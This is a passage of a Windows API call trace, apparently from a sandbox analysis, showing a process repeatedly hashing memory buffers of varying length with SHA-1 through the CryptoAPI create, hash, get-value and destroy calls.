[0079.850] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.850] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.850] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.850] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.850] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.850] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.850] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.850] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.850] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.850] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.850] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.851] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x66, dwFlags=0x0) returned 1
[0079.851] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.851] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.851] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.851] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x68, dwFlags=0x0) returned 1
[0079.851] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.851] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.851] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.851] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.851] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.851] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.851] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.851] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.851] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.851] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.851] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.851] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x9a, dwFlags=0x0) returned 1
[0079.851] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.851] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.851] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.851] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x9c, dwFlags=0x0) returned 1
[0079.851] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.852] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.852] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.852] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.852] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.852] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.852] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.852] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.852] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.852] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.852] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.852] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5e, dwFlags=0x0) returned 1
[0079.852] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.852] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.852] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.852] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.852] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.852] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.852] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.852] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.852] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.852] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.852] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.852] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x80, dwFlags=0x0) returned 1
[0079.853] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.853] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.853] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.853] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.853] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.853] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.853] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.853] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.853] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.853] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.853] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.853] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.853] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.853] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.853] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.853] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.853] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.853] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.856] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.857] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.857] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.857] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.857] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.857] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.857] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.857] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.857] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.857] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.857] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.857] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.857] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.857] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.857] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.857] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.857] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.857] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.857] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.857] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.857] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.857] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.857] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.858] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.858] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.858] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.858] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.858] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.858] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.858] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.858] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.858] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.858] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.858] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.858] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.858] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.858] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.858] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.858] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.858] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.858] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.858] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.858] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.858] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.859] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.859] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.859] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.859] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.859] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.859] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.859] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.859] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.859] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.859] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.859] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.859] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.859] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.859] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.859] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.859] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.859] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.859] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.859] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.859] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.859] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.859] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.860] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.860] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.860] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.860] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.860] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.860] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.860] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.860] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x90, dwFlags=0x0) returned 1
[0079.860] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.860] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.860] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.860] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x92, dwFlags=0x0) returned 1
[0079.860] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.860] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.860] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.860] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5a, dwFlags=0x0) returned 1
[0079.860] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.860] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.860] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.860] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5c, dwFlags=0x0) returned 1
[0079.860] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.860] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.861] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.861] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.861] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.861] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.861] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.861] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.861] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.861] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.861] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.861] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xb2, dwFlags=0x0) returned 1
[0079.861] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.861] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.861] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.861] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xb4, dwFlags=0x0) returned 1
[0079.861] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.861] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.861] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.861] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa4, dwFlags=0x0) returned 1
[0079.861] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.861] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.861] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.861] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa6, dwFlags=0x0) returned 1
[0079.862] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.862] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.862] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.862] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x82, dwFlags=0x0) returned 1
[0079.862] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.862] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.862] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.862] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.862] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.862] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.862] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.862] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.862] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.862] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.862] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.862] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.862] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.862] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.862] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.862] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.862] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.862] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.863] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.863] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x66, dwFlags=0x0) returned 1
